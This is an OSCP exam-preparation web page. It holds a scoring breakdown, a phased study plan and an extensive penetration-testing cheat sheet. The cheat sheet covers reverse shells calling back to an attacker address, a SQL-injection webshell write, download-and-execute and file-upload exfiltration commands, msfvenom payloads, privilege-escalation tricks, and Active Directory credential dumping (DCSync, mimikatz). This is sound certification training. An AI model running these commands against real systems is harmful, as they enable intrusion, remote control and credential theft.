oscp::hub
PEN-200 // OSCP resource hub // built for the AD-set exam

OSCP Resource Hub

Everything to go from beginner to certified in one place: a structured preparation plan, a deep command cheat sheet, and a clickable index of every TJnull-recommended HackTheBox and Proving Grounds box, each with real reference links.

70
points to pass
3+1
standalone + AD set
--
boxes indexed
9
cheat domains
40
AD set points
01

What you're graded on

100 points across four targets. You need 70. Know the scoreboard before spending a single study hour.

Standalone #1 20 pts

Independent host. ~10 for foothold (local.txt), ~10 for root/SYSTEM (proof.txt).

Standalone #2 20 pts

Independent host. Same split. Pure enumerate → exploit → escalate.

Standalone #3 20 pts

Independent host. Same split. Broad exploit & privesc toolkit pays off here.

Active Directory Set 40 pts

Chained domain: foothold, then lateral movement, then Domain Controller. Points are awarded per host, but you have to pivot through the chain.

The scoreboard // pass line at 70
3 x Standalone = 60AD Set = 40
070 to pass100 ( )

Winning math: AD set (40) + one full standalone (20) + one foothold (10) = 70. The AD set is the biggest single block, which makes it the highest-leverage skill to master.

+10

Bonus. Submit the required PEN-200 exercises and 30 lab machines in your report for +10. Nearly-free points if you have the subscription.

MSF

Metasploit rule. Exploit and post modules on one standalone only, not the AD set. msfvenom and multi/handler are unrestricted. No sqlmap or automated exploitation, no Burp active scanner.

[!]

Exam format changes over time. Always confirm the current rules on the official OffSec exam guide (linked in Resources) before you book.

02

Where to focus, and how much

Two different things, kept separate on purpose. The official exam weight is a hard fact from OffSec's points structure. The recommended focus is derived study guidance, because point value is not the same as how hard a skill is to learn.

[i]

On "official data": OffSec publishes the points structure (AD set = 40, three standalones = 60) and the PEN-200 module list. That is all it publishes. It does not release a per-topic exam percentage, so anyone quoting "SQLi is 12% of the exam" is guessing. The bars below are a reasoned allocation, not an OffSec metric.

Official exam weight = share of the 100 exam points Recommended focus = share of your study effort (relative weighting, not fixed hours)
Active Directory40 of 100 pts // official
30%
The single biggest block and the steepest learning curve. Highest leverage on the whole exam, so over-invest here. Practice full chains, not isolated techniques.
Enumeration & Reconcross-cutting // every target
15%
Not worth points directly, but it decides whether you find the foothold at all. The number one reason people get stuck. A permanent discipline, not a one-off topic.
Web & Service Exploitationfoothold // most standalones
15%
How you get the initial shell on most standalones. Manual SQLi, LFI/RFI, upload bypass, command injection, plus recognising versioned public exploits fast.
Windows Privilege Escalationstandalone escalation
12%
Turns footholds into proof.txt on Windows targets. Token and Potato abuse, service misconfigs, AlwaysInstallElevated. Usually the slower half of privesc for most people.
Linux Privilege Escalationstandalone escalation
11%
sudo/GTFOBins, SUID, cron, capabilities, PATH. More pattern-based than Windows, so you get fast at it quickly and can spend slightly less time on it.
Tunneling & Pivotingenables the AD 40 pts
6%
Small topic, but the AD set is often unreachable without it. Get ligolo-ng and chisel to reflex, because being unable to pivot can cost you the whole 40 points.
Password & Hash Attackscross-cutting
6%
Cracking roast hashes, spraying, hydra, hashcat modes and rules. Threads through both the standalones and the AD set. Know your hashcat modes cold.
Report, Notes & Exam Simspass/fail hygiene
5%
A rooted box with no screenshot is lost points. Build the report template early and run full 24-hour exam simulations before the real thing. This is where organised people pass.
[*]

One-line takeaway: spend roughly a third of your effort on Active Directory, keep enumeration a constant background discipline, and split the rest across the web foothold and both privesc paths. Pivoting and reporting are small but can silently cost you big.

[+]

Scale it to yourself. These are shares of your study effort, so apply them to whatever time you actually have. The ratios are the point, not any fixed total.

Phase-based route // mapped to PEN-200 modules

Preparation Plan

Build skills first, grind machines second, simulate the exam last. Once you reach the machine phases, own at least one box per session and write notes on every one. The module names in each phase map to the official PEN-200 course, so you can march through both together.

[!]

Reality check. This route assumes you already have working Linux and networking fundamentals and can study consistently. If you are closer to a beginner, keep the exact same order and just move through the early phases more slowly. The sequence is what matters, not the pace.

Phase
01

Foundations, Enumeration & the Web

OBJECTIVE: never miss a service, never miss a web vuln
  • Lock in your note-taking system (Obsidian, CherryTree, or Sublime with templates) before anything else
  • Master enumeration: nmap deep dives, UDP, ffuf and feroxbuster, vhost fuzzing, service versioning
  • Web attacks: manual SQLi, LFI/RFI, file-upload bypasses, command injection, traversal, auth bypass
  • PEN-200 modules: Information Gathering, Vulnerability Scanning, Web Application Attacks, SQL Injection. Do the exercises.
  • Warm-up boxes: HTB Lame, Blue, Legacy, Bashed, Shocker
nmapffufmanual SQLiLFI/RFIfile upload
Phase
02

Privilege Escalation: Linux & Windows

OBJECTIVE: turn any shell into root or SYSTEM methodically
  • Linux: sudo/GTFOBins, SUID, cron, capabilities, PATH hijack, kernel, writable configs
  • Windows: service misconfigs, unquoted paths, token privileges (Potato family), AlwaysInstallElevated, DLL hijack
  • Run and read linpeas, winpeas, and pspy. Interpret the output, do not just paste it.
  • PEN-200 modules: Linux Privilege Escalation, Windows Privilege Escalation, Locating Public Exploits, Fixing Exploits
  • Boxes: HTB Optimum, Devel, Nibbles, Valentine, Jerry, Arctic
GTFOBinslinpeaswinpeasPotatoexploit fixing
Phase
03

Active Directory: the 40-point block

OBJECTIVE: own a domain from one foothold, reliably
  • Enumeration: BloodHound/SharpHound, ldapdomaindump, rpcclient, enum4linux-ng, PowerView
  • Credential attacks: AS-REP roasting, Kerberoasting, spraying, GPP passwords, SMB shares
  • Lateral movement: pass-the-hash, evil-winrm, psexec/wmiexec, RDP, credential reuse
  • Escalation to DC: DCSync, delegation, ACL abuse, DnsAdmins, secretsdump
  • PEN-200 modules: AD Introduction and Enumeration, Attacking AD Authentication, Lateral Movement in AD
  • Boxes: HTB Forest, Sauna, Active, Blackfield, Resolute, Cascade, plus PG Hutch and Resourced
BloodHoundKerberoastAS-REPPtHDCSync
Phase
04

Tunneling & Machine Grinding: breadth

OBJECTIVE: speed and pattern recognition across everything
  • Proving Grounds Practice is the closest proxy to the exam. Work through it steadily, mixing OS types.
  • Add tunneling: chisel, ssh -L/-R/-D, proxychains, ligolo-ng (you need this for AD pivots)
  • Alternate Linux, Windows, and AD so no skill goes cold
  • Track every box: foothold vector, privesc vector, time to root
  • Redo any box you needed a hint on, cold, a few days later
  • PEN-200 modules: Port Redirection and SSH Tunneling, Tunneling Through Deep Packet Inspection, The Metasploit Framework
PG Practicechiselligolo-ngproxychains
Phase
05

Depth, Challenge Labs & Weak Spots

OBJECTIVE: kill weaknesses and harden your process
  • Put the bulk of your time on your slowest category (usually Windows privesc or AD pivoting)
  • Run the OffSec Challenge Labs (Medtech, Relia, Zeus, Secura). They mirror the exam AD chain.
  • Time-box each box; if stuck, note exactly where, check the walkthrough, then redo it cold
  • Start your report template and screenshot as you go
  • Do several full AD chains in this phase
  • PEN-200 module: Assembling the Pieces, the full end-to-end walkthrough
Challenge Labsreport templatefull AD chains
Phase
06

Exam Simulation & Report

OBJECTIVE: rehearse the real thing under real conditions
  • Run full 24-hour exam simulations: 3 standalone plus 1 AD set, unseen, no walkthroughs
  • Practice the whole loop, including writing the report from your screenshots
  • Lock your checklist, tooling, VPN config, Kali snapshot, and offline exploits
  • As the exam nears, switch to light review only. Re-read your own notes and sleep properly.
  • Start the exam when you are freshest, and plan your food, water, and breaks
  • PEN-200 stage: Trying Harder, the Challenge Labs
24h simulationreport dry-runrest
>_

Exam-day battle plan

1

Start all enumeration at once

Kick off full-port nmap on every target the moment the VPN connects. Enumeration runs while you think.

2

Go for the AD set first

40 points, the biggest block. If the domain falls, you are most of the way to 70. Attack it early while you are sharp.

3

Time-box each stuck point

No new leads for a while? Rotate to another target. A fresh box resets your brain, and you will often crack the old one afterwards.

4

Screenshot everything, immediately

Every flag, shell, and key command, with the IP visible, captured as you go. Reconstructing evidence later loses hours and points.

5

Bank 70, then push for margin

Once you cross 70 with verified proof, you have passed. Bank it mentally and keep going, but protect the sleep you need for the report.

6

Sleep, then write the report

You get a separate 24-hour window after the hacking phase. Sleep first. The report has to let a grader reproduce every step.

Full command reference

The OSCP Cheat Sheet

Every command you'll type a thousand times, organised by domain. Replace $IP / $U / $P / $D with your target, user, pass, domain. Build your own version as you go - that's the one you'll trust in the exam.

01 Enumeration & Recon

The single most important skill. 90% of "I was stuck for hours" ends with an unchecked port, param, or share. Enumerate until there's no unexplored surface, then exploit.

# Nmap
# 1. Fast full TCP port sweep
nmap -p- --min-rate 5000 -T4 $IP -oN nmap/allports.txt
# 2. Deep scan on the open ports only
nmap -p22,80,445 -sC -sV -O -oN nmap/deep.txt $IP
# 3. UDP top ports (never skip - SNMP/TFTP/DNS live here)
sudo nmap -sU --top-ports 100 -oN nmap/udp.txt $IP
# Targeted NSE scripts
nmap -p445 --script smb-vuln-* $IP
nmap -p80 --script http-enum,http-title $IP
# HTTP / Web discovery
whatweb http://$IP            # tech fingerprint
nikto -h http://$IP
# Directory / file brute force
feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt -x php,txt
# ffuf: dirs, extensions, params, vhosts
ffuf -u http://$IP/FUZZ -w wordlist.txt -e .php,.bak
ffuf -u http://$IP/page?FUZZ=1 -w params.txt -fs 0        # hidden params
ffuf -u http://$IP -H "Host: FUZZ.target.tld" -w subdomains.txt -fs 0   # vhosts
# WordPress
wpscan --url http://$IP --enumerate u,ap,at --api-token <t>
# SMB (445/139)
enum4linux-ng -A $IP
smbclient -L //$IP -N            # list shares, null session
smbclient //$IP/share -N
smbmap -H $IP -u '' -p ''         # perms per share
crackmapexec smb $IP -u '' -p '' --shares
crackmapexec smb $IP -u $U -p $P --shares --users --pass-pol
# SNMP (UDP 161)
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP
snmpwalk -v2c -c public $IP
snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25   # users
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.2  # running processes
# DNS / FTP / SMTP / NFS / LDAP / DBs
# DNS zone transfer
dig axfr @$IP domain.tld
dnsrecon -d domain.tld -n $IP -t axfr
# FTP anon
ftp $IP            # user: anonymous / pass: anything
# SMTP user enum
smtp-user-enum -M VRFY -U users.txt -t $IP
# NFS
showmount -e $IP
# LDAP
ldapsearch -x -H ldap://$IP -b "dc=domain,dc=tld"
# MSSQL / MySQL / Redis
impacket-mssqlclient $U:$P@$IP -windows-auth
mysql -h $IP -u root -p
redis-cli -h $IP

02 Web Exploitation

Web is the most common foothold. Test every input by hand - Burp Community (repeater/proxy) is your friend; the active scanner is banned in the exam.

# SQL Injection (manual)
# Detect  '   "   ' OR 1=1-- -   ' AND 1=2-- -
# Auth bypass  admin' -- -    ' OR '1'='1
# UNION: find column count, then reflect
' ORDER BY 5-- -
' UNION SELECT 1,2,3,4,5-- -
' UNION SELECT 1,@@version,database(),user(),5-- -
# Dump (MySQL)
' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables-- -
' UNION SELECT 1,group_concat(user,0x3a,password),3,4,5 FROM users-- -
# MSSQL stacked → RCE
'; EXEC xp_cmdshell 'whoami'-- -
# SQLi → shell (MySQL file write)
' UNION SELECT 1,"<?php system($_GET['c']);?>",3 INTO OUTFILE '/var/www/html/s.php'-- -
# LFI / RFI
# Basic + traversal
http://$IP/?page=../../../../etc/passwd
# PHP filter to read source
?page=php://filter/convert.base64-encode/resource=index.php
# Log poisoning → RCE (inject into User-Agent, then include the log)
?page=/var/log/apache2/access.log
# data / input wrappers
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+
# RFI (allow_url_include=On)
?page=http://$YOUR_IP/shell.php
# File upload bypass
# Extension tricks  shell.php  .phtml .php5 .phar .pHp
# Double ext / null  shell.php.jpg   shell.php%00.jpg
# Content-Type spoof  Content-Type: image/png
# Magic bytes  add GIF89a; at top of file
# .htaccess trick (Apache)
AddType application/x-httpd-php .xyz
# Command injection · SSTI · XXE
# Command injection separators
; | || && `id` $(id) %0a
127.0.0.1; bash -c 'bash -i >& /dev/tcp/$IP/443 0>&1'
# SSTI detect  {{7*7}}  ${7*7}  <%= 7*7 %>
# Jinja2 RCE
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
# XXE
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>
Method: map the app first (dirbust, read JS, note params), then test one class of bug at a time. Note versions of every CMS/framework - a public exploit is often faster than a manual bug.

03 Password & Hash Attacks

# Online brute force - hydra
hydra -L users.txt -P rockyou.txt ssh://$IP
hydra -l admin -P rockyou.txt ftp://$IP
hydra -l admin -P pass.txt $IP http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:Invalid"
hydra -L users -P pass rdp://$IP
# Offline cracking - hashcat & john
hashid '<hash>'          # or hash-identifier
hashcat -m 0    hash rockyou.txt        # MD5
hashcat -m 1000 hash rockyou.txt        # NTLM
hashcat -m 1800 hash rockyou.txt        # sha512crypt ($6$)
hashcat -m 18200 asrep rockyou.txt      # AS-REP
hashcat -m 13100 krb5tgs rockyou.txt    # Kerberoast
hashcat -m 1000 hash rockyou.txt -r /usr/share/hashcat/rules/best64.rule
john --wordlist=rockyou.txt hash.txt
# unshadow first for /etc/shadow
unshadow passwd shadow > combined; john combined
# Build / mutate wordlists
cewl http://$IP -w custom.txt          # scrape site words
crunch 8 8 -t Pass@%%% > wl.txt          # patterns
# Common default creds: admin:admin, tomcat:s3cret, root:root

04 Shells, Upgrades & File Transfer

# Reverse shells (see revshells.com)
# Bash
bash -i >& /dev/tcp/$IP/443 0>&1
# Python
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("$IP",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
# nc (with -e, or mkfifo variant)
nc $IP 443 -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $IP 443 >/tmp/f
# PowerShell (one-liner base of it)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('$IP',443);$s=$c.GetStream();..."
# Listener + TTY upgrade
rlwrap nc -lvnp 443           # rlwrap = arrow keys/history
# Upgrade a dumb shell to full TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z
stty raw -echo; fg
# then in shell:
export TERM=xterm; stty rows 38 cols 116
# File transfer
# Serve from attacker
python3 -m http.server 80
impacket-smbserver share . -smb2support        # SMB (Windows)
# Linux pull
wget http://$IP/linpeas.sh ; curl http://$IP/f -o f
# Windows pull
certutil -urlcache -f http://$IP/nc.exe nc.exe
powershell iwr -uri http://$IP/x.exe -o x.exe
copy \\$IP\share\x.exe .            # from impacket-smbserver

05 Linux Privilege Escalation

Enumerate methodically, then match findings against known techniques. Run the automated tools and read their output - the answer is usually flagged in yellow.

# Automated + manual recon
./linpeas.sh | tee linpeas.txt
./pspy64                       # watch cron / hidden procs live
id; sudo -l; uname -a
find / -perm -4000 -type f 2>/dev/null      # SUID
getcap -r / 2>/dev/null                      # capabilities
cat /etc/crontab; ls -la /etc/cron.*
find / -writable -type d 2>/dev/null
# The high-yield vectors
# sudo -l → look up the binary on GTFOBins
sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo vim -c ':!/bin/sh'
# SUID via GTFOBins (e.g. suid nmap old, cp, bash)
/usr/bin/bash -p
# Capability cap_setuid
/usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
# Writable /etc/passwd - add a root user
openssl passwd -1 -salt x pass       # make hash, append: hacker:HASH:0:0::/root:/bin/bash
# PATH hijack (script calls a bare command)
export PATH=/tmp:$PATH; echo '/bin/bash' > /tmp/service; chmod +x /tmp/service
# NFS no_root_squash - mount, drop a SUID binary as root
# Cron running a writable script → add reverse shell
# Kernel exploits (last resort)
# Identify → searchsploit; well-known:
# PwnKit (pkexec) CVE-2021-4034 · DirtyPipe 5.8-5.16 · DirtyCow <=3.x
searchsploit linux kernel 3.13
# Docker / lxd group = instant root
id | grep -E 'docker|lxd'

06 Windows Privilege Escalation

# Recon
.\winPEASx64.exe quiet
whoami /priv                # SeImpersonate/SeBackup/etc → key!
whoami /all
systeminfo                   # OS/patch level for kernel exploits
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /iv "c:\windows"
# Token privileges → SYSTEM
# SeImpersonate / SeAssignPrimaryToken (web/service accounts):
.\GodPotato.exe -cmd "cmd /c whoami"
.\PrintSpoofer64.exe -i -c cmd
.\JuicyPotatoNG.exe -t * -p cmd.exe -a "/c whoami"
# SeBackupPrivilege → grab SAM/SYSTEM or NTDS
reg save hklm\sam sam.hive ; reg save hklm\system system.hive
# Service & config misconfigs
# Unquoted service path - plant exe in a space gap
# Weak service perms (accesschk) → change binPath
sc config vulnsvc binPath= "C:\temp\rev.exe" ; sc start vulnsvc
# AlwaysInstallElevated (both keys = 1) → malicious msi
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$IP LPORT=443 -f msi -o x.msi
msiexec /quiet /qn /i x.msi
# Stored creds
cmdkey /list ; runas /savecred /user:admin cmd.exe
# Credential hunting
findstr /si password *.txt *.ini *.config *.xml
# unattend / sysprep / Groups.xml (GPP)
type C:\Windows\Panther\Unattend.xml
reg query HKLM /f password /t REG_SZ /s

07 Active Directory · the 40-point block

The exam AD set is a chain: get a foothold, enumerate with BloodHound, harvest creds, move laterally, reach the DC. Practice the whole flow until it's routine.

# Enumerate
# BloodHound collection (remote)
bloodhound-python -u $U -p $P -d $D -ns $IP -c all
# SharpHound on host:  .\SharpHound.exe -c All
crackmapexec smb $IP -u $U -p $P --users --groups --pass-pol
rpcclient -U $U%$P $IP       # enumdomusers, queryuser
ldapdomaindump -u $D\\$U -p $P $IP
# Credential attacks
# AS-REP roast (users w/ no preauth) - no creds needed
impacket-GetNPUsers $D/ -usersfile users.txt -no-pass -dc-ip $IP
# Kerberoast (needs any valid creds)
impacket-GetUserSPNs $D/$U:$P -dc-ip $IP -request
# Password spray
crackmapexec smb $IP -u users.txt -p 'Summer2024!' --continue-on-success
# GPP cpassword in SYSVOL → gpp-decrypt
# Crack the roast hashes with hashcat -m 18200 / -m 13100
# Lateral movement
evil-winrm -i $IP -u $U -p $P
evil-winrm -i $IP -u $U -H $NThash       # pass-the-hash
impacket-psexec $D/$U:$P@$IP          # SYSTEM
impacket-wmiexec $D/$U@$IP -hashes :$NThash
crackmapexec smb $IP/24 -u $U -H $NThash    # spray hash across subnet
# Domain domination
# Dump secrets / DCSync
impacket-secretsdump $D/$U:$P@$IP
impacket-secretsdump -just-dc $D/admin@$DC     # DCSync (needs replication rights)
# mimikatz on host
sekurlsa::logonpasswords ; lsadump::dcsync /user:krbtgt
# ACL abuse from BloodHound (GenericAll/WriteDACL): force-change pw
net rpc password "victim" "NewPass1!" -U "$D/$U%$P" -S $IP
# Delegations, DnsAdmins, RBCD = box-specific escalations
Pivot reminder: the DC is usually only reachable through the foothold host - set up ligolo-ng / chisel first (see Pivoting) or your impacket calls won't route.

08 Tunneling & Pivoting

# ligolo-ng (cleanest for AD)
# Attacker: add interface + route the internal subnet
sudo ip tuntap add user $USER mode tun ligolo; sudo ip link set ligolo up
./proxy -selfcert
# On agent (target):
./agent -connect $IP:11601 -ignore-cert
# In ligolo session: start, then  sudo ip route add 10.10.20.0/24 dev ligolo
# chisel (reverse SOCKS)
# Attacker  ./chisel server -p 8000 --reverse
# Target    ./chisel client $IP:8000 R:socks
# then  proxychains <cmd>   (socks5 127.0.0.1 1080 in /etc/proxychains4.conf)
# SSH tunnels & proxychains
ssh -L 8080:127.0.0.1:80 user@host      # local: reach host:80 via localhost:8080
ssh -R 9001:127.0.0.1:9001 user@attacker  # remote
ssh -D 1080 user@host                   # dynamic SOCKS proxy
proxychains -q nmap -sT -Pn 10.10.20.5

09 Metasploit, msfvenom & Buffer Overflow

# msfvenom payloads (always allowed)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$IP LPORT=443 -f exe -o s.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$IP LPORT=443 -f elf -o s
msfvenom -p php/reverse_php LHOST=$IP LPORT=443 -f raw -o s.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$IP LPORT=443 -f war -o s.war
# multi/handler (unrestricted)
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST $IP; set LPORT 443; run"
Exam rule: full Metasploit exploit/post modules and Meterpreter may be used on only one standalone machine - never the AD set. Choose wisely, and never depend on it: learn the manual path first.
# Buffer Overflow (legacy - no longer a dedicated exam topic, still good to know)
# Classic stack BOF flow:
# 1 fuzz → crash   2 pattern_create/offset → find EIP
# 3 find bad chars  4 !mona jmp esp → JMP address
# 5 msfvenom shellcode (-b badchars) → 6 profit
pattern_create.rb -l 2000 ; pattern_offset.rb -q <EIP>
[*]

This is a starting kit. The most valuable cheat sheet is the one you grow one box at a time. Every command you look up, paste into your own notes. By the time you sit the exam it becomes your co-pilot.

The everyday commands, not the exploits

The Handy Toolbox

The plumbing you use on every box - moving files, logging in, serving payloads, compiling code, fixing your shell. Keep this open in a tab; these are the commands you'll forget under exam pressure.

SSH SSH & Key Authentication

You'll get an SSH foothold constantly - often via a found private key. The #1 gotcha: a key with loose permissions is silently rejected.

# Connect
ssh user@$IP                       # password auth
ssh user@$IP -p 2222                # non-standard port
ssh -i id_rsa user@$IP              # private-key auth
sshpass -p 'Passw0rd!' ssh user@$IP   # scripted / non-interactive
# Using a private key you found (the critical step)
chmod 600 id_rsa            # MUST - or ssh ignores the key
ssh -i id_rsa user@$IP
# Key is passphrase-protected? crack it:
ssh2john id_rsa > hash ; john --wordlist=rockyou.txt hash
# Generate a keypair & plant it for persistence / access
ssh-keygen -t rsa -b 4096 -f mykey        # makes mykey + mykey.pub
# On target, if you can write the victim's home:
echo 'ssh-rsa AAAA...your pubkey...' >> ~/.ssh/authorized_keys
# then from attacker:  ssh -i mykey user@$IP
# Common fixes / flags
ssh -o StrictHostKeyChecking=no user@$IP          # skip host-key prompt
ssh -o PubkeyAcceptedKeyTypes=+ssh-rsa user@$IP    # old key type rejected
ssh user@$IP "id; hostname"                       # run one command & exit
# Port forwarding recap (full detail on the Cheat Sheet → Pivoting):
ssh -L 8080:127.0.0.1:80 user@$IP   # -L local  -R remote  -D dynamic SOCKS

CP File Transfer - scp · ftp · nc · smb

# scp (uses SSH; needs SSH access)
scp file.txt user@$IP:/tmp/            # push to target
scp user@$IP:/etc/passwd ./            # pull from target
scp -i id_rsa -P 2222 f user@$IP:/tmp/  # with key + port
scp -r folder user@$IP:/tmp/          # recursive
# FTP (interactive)
ftp $IP            # login: anonymous / any password
# inside the ftp> prompt:
binary            # ALWAYS set binary before moving exes/images
passive           # toggle if transfers hang
ls ; cd dir ; get secret.txt ; put shell.php ; mget *
# non-interactive one-liner grab:
wget ftp://user:pass@$IP/file
curl -u user:pass ftp://$IP/file -o file
# netcat transfer (no SSH/FTP available)
# Receiver (attacker):  nc -lvnp 4444 > incoming.file
# Sender (target):     nc $IP 4444 < secret.file
# Reverse direction works the same - whichever end can connect out
# SMB (great for Windows targets)
# Attacker hosts a share:
impacket-smbserver share $(pwd) -smb2support -user a -pass a
# Windows target pulls/pushes:
copy \\$IP\share\nc.exe .
copy loot.txt \\$IP\share\
# Linux smbclient:
smbclient //$IP/share -U user -c 'get file.txt'

WEB Serving & Downloading Files

# Stand up a quick web server (attacker)
python3 -m http.server 80          # serves current dir on :80
php -S 0.0.0.0:80                  # if python missing
# Upload server (receive files via POST):
python3 -m uploadserver 8000        # pip install uploadserver
# Download onto a Linux target
wget http://$IP/linpeas.sh -O /tmp/l.sh
curl http://$IP/l.sh -o /tmp/l.sh
curl http://$IP/l.sh | bash              # run without touching disk
# Download onto a Windows target
certutil -urlcache -f http://$IP/nc.exe nc.exe
powershell iwr -uri http://$IP/x.exe -o x.exe
powershell "(New-Object Net.WebClient).DownloadFile('http://$IP/x.exe','x.exe')"
# Fileless exec in memory:
powershell "IEX(New-Object Net.WebClient).DownloadString('http://$IP/s.ps1')"
# Upload FROM a target back to you
# target → attacker (attacker runs uploadserver, then):
curl -F 'files=@/etc/passwd' http://$IP:8000/upload

GCC Compiling Exploits

A downloaded exploit is often C source. Compile it - ideally matching the target's architecture. Prefer compiling on your Kali and transferring the binary.

# Linux exploits
gcc exploit.c -o exploit            # native 64-bit
gcc -m32 exploit.c -o exploit32     # 32-bit target (need gcc-multilib)
gcc -static exploit.c -o exploit    # static - for missing libs on target
# classic DirtyCow etc often need pthread:
gcc exploit.c -o exploit -pthread
# Cross-compile a Windows .exe from Kali
sudo apt install mingw-w64
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe      # 64-bit
i686-w64-mingw32-gcc  exploit.c -o exploit32.exe     # 32-bit
Tip: if a public exploit won't compile, read the header comments - many list the exact gcc line and required libraries. Fixing/porting exploits is an official PEN-200 skill and a common exam moment.

B64 Encoding, Hashing & Text

# base64 - transfer binaries through a text-only shell
# attacker: encode   base64 -w0 shell.exe
# target (linux): decode   echo 'BASE64...' | base64 -d > shell.exe
# target (windows PS):   certutil -decode in.b64 out.exe
# Identify & make hashes
hashid '<hash>' ; hash-identifier
openssl passwd -6 'Password1'          # make a $6$ shadow hash
openssl passwd -1 -salt xyz 'pass'     # $1$ for /etc/passwd tricks
echo -n 'admin' | md5sum
# Inspect files
file suspicious            # what is it?
strings -n 8 binary        # readable strings (creds!)
xxd file | head            # hex view (magic bytes)
exiftool image.jpg         # metadata (usernames, GPS, comments)

NET Networking & the /etc/hosts Trap

The single most common "why isn't this working" on HTB/PG: the site uses a hostname you haven't mapped. Add it to /etc/hosts before web enumeration.

# Map the target hostname (do this early!)
sudo sh -c 'echo "$IP  target.htb www.target.htb" >> /etc/hosts'
# Spot the hostname from: nmap -sCV output, HTTP redirects,
# TLS certificate CN/SAN, or a 400/redirect to a named vhost
# Your attacker networking
ip a                       # find your VPN IP (tun0) - this is your LHOST
ip a show tun0
ping -c1 $IP              # reachable? (some boxes block ICMP - use nmap -Pn)
# On-target network recon (post-shell)
ip a ; ip route ; cat /etc/hosts /etc/resolv.conf
ss -tulpn                  # listening services (internal-only ports = pivot targets)
netstat -ano               # Windows equivalent
arp -a                     # other hosts on the segment

TTY Shell Survival - tmux · vi · fixing shells

# Upgrade a dumb reverse shell to a real TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# press Ctrl-Z, then on your box:
stty raw -echo; fg
# back in the shell:
export TERM=xterm; stty rows 38 cols 116     # now arrows/Ctrl-C/clear work
# tmux - survive long sessions & dropped VPNs
tmux new -s oscp           # named session
# Ctrl-b d = detach   ·   Ctrl-b " = split horiz   ·   Ctrl-b % = split vert
tmux attach -t oscp        # reattach after a disconnect
tmux ls
# vi / nano - save & quit without panicking
# nano:  Ctrl-O = save,  Ctrl-X = exit
# vi/vim:  i = insert,  Esc then :wq = save+quit,  :q! = quit no-save
# Fast searching
grep -rin 'password' /var/www 2>/dev/null
find / -name '*.conf' -mtime -10 2>/dev/null
history ; cat ~/.bash_history

ENV Python, pip & running found scripts

# Run exploit scripts cleanly
python3 exploit.py $IP
python2 old_exploit.py            # many old PoCs are py2 - keep it installed
# isolated deps so you don't wreck system python:
python3 -m venv venv && source venv/bin/activate && pip install requests
# pipx / requirements for tools
pip install -r requirements.txt
# Fix "externally-managed-environment" on Kali:
pip install --break-system-packages <pkg>    # or use a venv (preferred)
Exam kit reminder: pre-stage your Kali with linpeas/winpeas, chisel, ligolo-ng, PrintSpoofer/GodPotato, nc.exe, SecLists, and impacket - offline. Snapshot the VM before exam day so a broken update can't cost you the exam.
[*]

Muscle memory beats notes. These are the commands you'll type on literally every box. Drill the ones you keep looking up (TTY upgrade, /etc/hosts, chmod 600 on keys) until they're automatic - that's where exam-day speed comes from.

CTF quick reference // enumerate faster

Common Ports

See a port in your nmap output, jump straight to what it is and how to attack it. Each card has a one-liner, the first commands to run, common attack vectors, and a HackTricks link. Replace $IP with your target.

[i]

Golden rule: enumerate every open port before exploiting any. The foothold is usually hiding in a service people skip. Reference links go to the matching HackTricks pentesting page; if one has moved, search "hacktricks pentesting <service>".

TJnull / NetSecFocus curated · HTB + Proving Grounds only

The Box Index

Click any box to expand its attack vectors and open real reference links. Proving Grounds Practice is the closest proxy to the real exam - prioritise the PG boxes. Filter and search below.

[i]

This is a curated, vetted slice of TJnull's V3 list (PEN-200 2023-2024) - not a live mirror. The full sheet has 100+ HTB boxes and is continuously updated as HTB retires new machines. What you get here that the raw sheet doesn't have: the actual foothold & privesc vector for each box, plus one-click writeup links. Use the live sources as your master: NetSecFocus Trophy Room sheet · 0xdf's parsed OffSec list.

Bookmark all of these

Resources

Every external reference worth keeping open in a tab during prep. Links open in a new tab.

Official OffSec

Box lists & platforms

Writeups & video

Reference wikis

Tools & helpers

AD & privesc deep-dives

[i]

Links reflect the well-known canonical sources at time of writing; some projects move domains (HackTricks especially). If one 404s, search the project name.